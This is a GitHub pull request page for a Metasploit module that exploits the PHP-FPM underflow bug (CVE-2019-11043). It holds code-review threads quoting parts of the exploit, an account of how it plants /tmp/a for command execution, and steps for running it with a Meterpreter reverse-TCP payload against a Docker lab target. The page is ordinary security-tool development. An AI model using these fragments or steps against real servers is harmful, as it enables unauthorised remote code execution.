-
Notifications
You must be signed in to change notification settings - Fork 13.8k
New issue
Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.
By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.
Already on GitHub? Sign in to your account
Add PHP-FPM Underflow RCE module #12863
Conversation
end | ||
|
||
def cleanup() | ||
return unless successful |
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
I don't see successful
defined anywhere. Is it defined in a lib, or was this line included in error?
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
This is a Msf::Exploit
attribute (https://github.com/rapid7/metasploit-framework/blob/master/lib/msf/core/exploit.rb#L1629). It should indicate whether the exploit succeeded. My intention here is to cleanup only if the exploit succeeded. Maybe there is a better way to do this? I am not 100% sure.
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
This is a
Msf::Exploit
attribute [...]
TIL
Maybe there is a better way to do this?
I have no idea. I'm pretty sure this attribute is never used anywhere in the framework modules.
A quick look over all instances of successful
seems to show it is never used.
# grep -rn successful modules/ | fgrep -v successfully | fgrep -v print | wc -l
209
It appears the only place it is set in the Exploit mixin is in the on_new_session
method:
def on_new_session(session)
self.session_count += 1
self.successful = true
end
Typically, modules choose to override the on_new_session
method... which in retrospect might be an issue, as they never ensure super
is called. Alternatively, the session_created?
method is often used.
Often both approaches are flawed, because cleanup may to be performed regardless of whether exploitation was successful - but I'm not sure if that applies in this instance.
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
I see... in this case, the cleanup will fail if the exploitation was not successful, since it uses the command execution through the HTTP parameter to cleanup itself on the target.
I can remove return unless successful
and have the cleanup executed regardless of whether exploitation was successful. If the exploitation failed, this will result in OperationMaxRetries
queries being sent attempting to cleanup, and also fail. Note that the error message will need to be updated too. Thought?
- Line wrap documentation to 80 columns - Line wrap `Description` field to 80 columns - Remove unnecessary unless statement
'Platform' => 'php', | ||
'Arch' => ARCH_PHP, | ||
'Payload' => { | ||
'PrependEncoder' => "php+-r+\"", |
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
Curious choice of encoding. If this were php -r \"
instead, would the URL encoding for space be taken care of automatically by the module's HTTP routines ?
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
Sure, I moved the encoding logic to send_crafted_request
. I also refactored this method to handle the HTTP parameter and final &
(%26
). This makes the call cleaner by only passing the shell command to the cmd
argument. Addressed in 828d974.
]) | ||
end | ||
|
||
CHECK_COMMAND = "which+which" |
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
Same here. Can (should?) this be taken care of by HTTP routines, rather than hard-coded encoding ?
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
I fixed this one too in 828d974.
) | ||
|
||
register_options([ | ||
OptString.new('TARGETURI', [true, 'Path to a PHP page', '']) |
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
Are /
or /index.php
a reasonable default?
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
Absolutely, I set the default value to /index.php
in 828d974.
self.class.detect_methods.keys, | ||
/(#{self.class.detect_methods.keys.join('|')})/ | ||
]), | ||
OptInt.new('PosOffset', [true, 'Position offset', 34]), |
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
I, as an operator, have no idea what PosOffset
means, and Position offset
doesn't help, nor do I know why 34
is special. Is it feasible to give this a more descriptive description? Also, please add a description to the module documentation file.
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
I thought about this and it turns out this value should not be changed. It is the exact offset needed to place the PATH_INFO
buffer at the right location in memory (see https://blog.orange.tw/2019/10/an-analysis-and-thought-about-recently.html). So, I removed this option and hardcoded this value in the code. Addressed in 828d974.
res = nil | ||
path = "/PHP_VALUE\n#{php_setting}" | ||
if path.length > datastore['PosOffset'] | ||
vprint_error("php.ini value is too long: #{php_value}") |
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
I'm unsure of the purpose of PosOffset
, but it might be nice to print the acceptable length here so the operator can make an informed decision. ie:
your input size (999 bytes) is larger than the allowed size (34 bytes)
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
Sure, I updated the error message in 1b54d27.
a query string parameter (?a=<cmd>). This is used to execute normal | ||
payload stagers. Finally, this module does some cleanup by killing | ||
local PHP-FPM workers (those are spawned automatically once killed) | ||
and removing the created local file (/tmp/a). |
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
Can /tmp/a
be randomized? Or can the a
portion (and subsequent use via HTTP parameter) be randomized? I understand length restrictions are an issue, but presumably rand_text_alpha(1)
would be feasible?
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
Yes, it can, as long as it is one character long. I randomised the filename and the HTTP parameter separately, since they can be different. Addressed in 0e9c637.
def detect_qsl | ||
qsl_candidates = [] | ||
if datastore['QSLHint'] | ||
vprint_status("Skipping qsl detection, using hint (qsl=#{datastore['QSLHint']})") | ||
qsl_candidates << datastore['QSLHint'] | ||
else | ||
(datastore['MinQSL']..datastore['MaxQSL']).step(datastore['QSLDetectStep']) do |qsl| | ||
res = send_crafted_request(path: "/PHP\nabcdefghijklmopqrstuv.php", qsl: qsl) | ||
unless res | ||
vprint_error("Error when sending query with QSL=#{qsl}") | ||
next | ||
end | ||
if res.code != @base_status | ||
vprint_status("Status code #{res.code} for qsl=#{qsl}, adding as a candidate") | ||
qsl_candidates << qsl | ||
end | ||
end | ||
end | ||
qsl_candidates | ||
end |
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
Personal preference, but for interpreted languages where memory management is not critical, I prefer guard clauses and "return early, return often" over "each function should return only once".
I find this to result in fewer bugs by acting defensively, and cleaner code by preventing code from straying too far from the left margin.
In which case, this method could be rewritten as:
def detect_qsl
if datastore['QSLHint']
vprint_status("Skipping qsl detection, using hint (qsl=#{datastore['QSLHint']})")
return [datastore['QSLHint']]
end
qsl_candidates = []
(datastore['MinQSL']..datastore['MaxQSL']).step(datastore['QSLDetectStep']) do |qsl|
res = send_crafted_request(path: "/PHP\nabcdefghijklmopqrstuv.php", qsl: qsl)
unless res
vprint_error("Error when sending query with QSL=#{qsl}")
next
end
if res.code != @base_status
vprint_status("Status code #{res.code} for qsl=#{qsl}, adding as a candidate")
qsl_candidates << qsl
end
end
qsl_candidates
end
Alternatively, as this method is called only once, it might make more sense to check if datastore['QSLHint']
prior to calling this method, as this option should never changed after initialization.
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
It makes sense. Addressed in 1b54d27. Thanks!
prefix: "a=#{payload.encoded}%26", | ||
allow_retry: false | ||
) | ||
sleep(1) |
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
I'm not sure why, but I believe Rex.sleep
is preferred over sleep
.
sleep(1) | |
Rex.sleep(1) |
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
Addressed in 1b54d27.
def check | ||
print_status("Sending baseline query...") | ||
res = send_crafted_request(path: "/path\ninfo.php") | ||
return Exploit::CheckCode::Detected("Error when sending baseline query") unless res |
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
CheckCode::Detected
is probably not the correct check code to use here, as I suspect res
could be nil
in the event of connection failure, which could imply that the target is not routable, or there's no HTTP service listening on rport
.
See: https://github.com/rapid7/metasploit-framework/wiki/How-to-write-a-check()-method
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
Got it! I changed this to Exploit::CheckCode::Unknown
in 1b54d27.
return nil | ||
end | ||
|
||
def cleanup() |
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
def cleanup() | |
def cleanup |
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
Addressed in 1b54d27.
- Add `OperationMaxRetries` option documentation - Add default value to `TARGETURI` and update the documentation - Remove `PosOffset` advanced option and hardcode the value - Update `Description` - Move URI encoding logic to `send_crafted_request` - Refactor `send_crafted_request` to handle the HTTP parameter and final & (%26)
- Make error message more descriptive - Use `Rex.sleep` in stead of `sleep` - Update `detect_qsl` logic - Change the first `Exploit::CheckCode` to `Unknown` for the `Check` method
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
Pretty much all my comments are minor-style related things so I'm not going to get hung up on them and instead move on to testing this.
OptInt.new('MaxQSLDetectDelta', [true, 'Max query string length detection delta', 10]), | ||
OptInt.new('MaxCustomHeaderLength', [true, 'Max custom header length', 256]), | ||
OptInt.new('CustomHeaderLengthHint', [false, 'Custom header length hint']), | ||
OptString.new('DetectMethod', [ |
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
I really like how you have more than one detection method and you generate this option dynamically but it seems like it'd be better defined as an OptEnum
.
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
Absolutely! It is definitely an OptEnum
. Thanks for the heads up.
opts = { | ||
'method' => 'GET', | ||
'uri' => uri, | ||
'agent' => 'Mozilla/5.0', |
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
Is the user-agent important or could the default User-Agent
be used?
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
It should not influence the exploit, I will use the default User-Agent
instead.
opts = { | ||
'method' => 'GET', | ||
'uri' => uri, | ||
'agent' => 'Mozilla/5.0', |
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
Is this User-Agent important for the exploit or could the default one be used?
return { qsl: qsl, customh_length: c_length } | ||
end | ||
end | ||
return nil |
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
It's not necessary to explicitly return nil
.
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
I think if I remove return nil
, the method will return the evaluation of the qsl_candidates.product(customh_lengths) do
block, which returns self
. So, if something went wrong and the PHP option is not detected (if detect_method.php_option_enabled?(res)
is never satisfied, line 254), the loop will terminate and qsl_candidates
array will be returned. This will break the logic in repeat_operation
, which expect nil
when something went wrong.
cmd: payload.encoded, | ||
allow_retry: false | ||
) | ||
Rex.sleep(1) |
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
Sleeping can just use sleep(1)
.
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
It was sleep(1)
but, according to @bcoles comment (#12863 (comment)), I changed it to Rex.sleep(1)
. Actually, I am not sure what is the preferred way to to do this. I can change it back, if you think it is better, no problem.
def check | ||
print_status("Sending baseline query...") | ||
res = send_crafted_request(path: "/path\ninfo.php") | ||
return Exploit::CheckCode::Unknown("Error when sending baseline query") unless res |
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
All of the Exploit::CheckCode::*
are accessible as simply CheckCode::
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
Good call! Thanks!
|
||
print_status("Sending payload...") | ||
if repeat_operation(:send_payload) | ||
print_good('Session created') |
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
Technically not all payloads result in a session being created even when they are successfully executed. I'd suggest changing this verbiage to be slightly more generic to be account under those edge-cases.
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
Yes, I agree. After thinking more about this, there is no need for these messages. Also, the fail_with
in the else
statement is wrong if the payload does not create a session. So, I removed all of this.
I tested this successfully, it was good approximately 3 out of 5 tries. The other ones were failing with
|
Interesting, I think the server was probably in a "bad state" after a previous exploitation that didn’t cleanup correctly. I retested with the same dockerfile and I got 100% success. If the cleanup is successful, you should see this status:
In case something went wrong during cleanup, you will have to do it manually:
At this point, you should have a session or a shell, so you can run the cleanup command However, if you don't have a way to execute commands to cleanup (payload execution also failed), I don't think you can get back to a "good state". |
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
Thanks for the review! I fixed almost everything and left some comments.
OptInt.new('MaxQSLDetectDelta', [true, 'Max query string length detection delta', 10]), | ||
OptInt.new('MaxCustomHeaderLength', [true, 'Max custom header length', 256]), | ||
OptInt.new('CustomHeaderLengthHint', [false, 'Custom header length hint']), | ||
OptString.new('DetectMethod', [ |
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
Absolutely! It is definitely an OptEnum
. Thanks for the heads up.
opts = { | ||
'method' => 'GET', | ||
'uri' => uri, | ||
'agent' => 'Mozilla/5.0', |
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
It should not influence the exploit, I will use the default User-Agent
instead.
return { qsl: qsl, customh_length: c_length } | ||
end | ||
end | ||
return nil |
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
I think if I remove return nil
, the method will return the evaluation of the qsl_candidates.product(customh_lengths) do
block, which returns self
. So, if something went wrong and the PHP option is not detected (if detect_method.php_option_enabled?(res)
is never satisfied, line 254), the loop will terminate and qsl_candidates
array will be returned. This will break the logic in repeat_operation
, which expect nil
when something went wrong.
cmd: payload.encoded, | ||
allow_retry: false | ||
) | ||
Rex.sleep(1) |
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
It was sleep(1)
but, according to @bcoles comment (#12863 (comment)), I changed it to Rex.sleep(1)
. Actually, I am not sure what is the preferred way to to do this. I can change it back, if you think it is better, no problem.
def check | ||
print_status("Sending baseline query...") | ||
res = send_crafted_request(path: "/path\ninfo.php") | ||
return Exploit::CheckCode::Unknown("Error when sending baseline query") unless res |
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
Good call! Thanks!
|
||
print_status("Sending payload...") | ||
if repeat_operation(:send_payload) | ||
print_good('Session created') |
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
Yes, I agree. After thinking more about this, there is no need for these messages. Also, the fail_with
in the else
statement is wrong if the payload does not create a session. So, I removed all of this.
prefix = cmd.empty? ? '' : "#{@http_param}=#{URI.encode(cmd)}%26" | ||
qsl_prime = qsl - qsl_delta/2 - prefix.length | ||
if qsl_prime < 0 | ||
fail_with Failure::Unknown, "QSL value too small to fit the command: QSL=#{qsl}, qsl_delta=#{qsl_delta}, prefix (size=#{prefix.size})=#{prefix}" |
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
I also changed this, it was just a vprint_error
before. If the payload is too big, qsl_prime
will be negative and break the next statement uri = "#{uri}?#{prefix}#{'Q'*qsl_prime}"
. So, it is better to fail here.
Module is running more reliably with a clean docker environment and an operator who follows instructions. I'll have this landed momentarily, thanks @cdelafuente-r7 !
|
Release NotesThis adds an exploit module for PHP-FPM that a vulnerability in how messages are passed between Nginx and PHP to execute code. This vulnerability is identified as CVE-2019-11043. |
This module exploits an underflow vulnerability in versions 7.1.x below 7.1.33, 7.2.x below 7.2.24 and 7.3.x below 7.3.11 of PHP-FPM on Nginx. Only servers with certains Nginx + PHP-FPM configurations are exploitable. This is a port of the original neex's exploit code (see refs.). First, it detects the correct parameters (Query String Length and custom header length) needed to trigger code execution. This step determines if the target is actually vulnerable (Check method). Then, the exploit sets a series of PHP INI directives to create a file (/tmp/a) locally on the target, which enables code execution through a query string parameter (?a=). This is used to execute normal payload stagers. Finally, this module does some cleanup by killing local PHP-FPM workers (those are spawned automatically once killed) and removing the created local file (/tmp/a).
Verification
Preparing the target:
git clone https://github.com/neex/phuip-fpizdam
cd phuip-fpizdam/reproducer/
docker build -t reproduce-cve-2019-11043 .
docker run --rm -p 192.168.6.6:8080:80 --name reproduce-cve-2019-11043 reproduce-cve-2019-11043
Running the exploit:
./msfconsole
use exploit/multi/http/php_fpm_rce
set RHOSTS 192.168.6.6
set RPORT 8080
set TARGETURI /script.php
set PAYLOAD php/meterpreter/reverse_tcp
set LHOST 192.168.6.6
run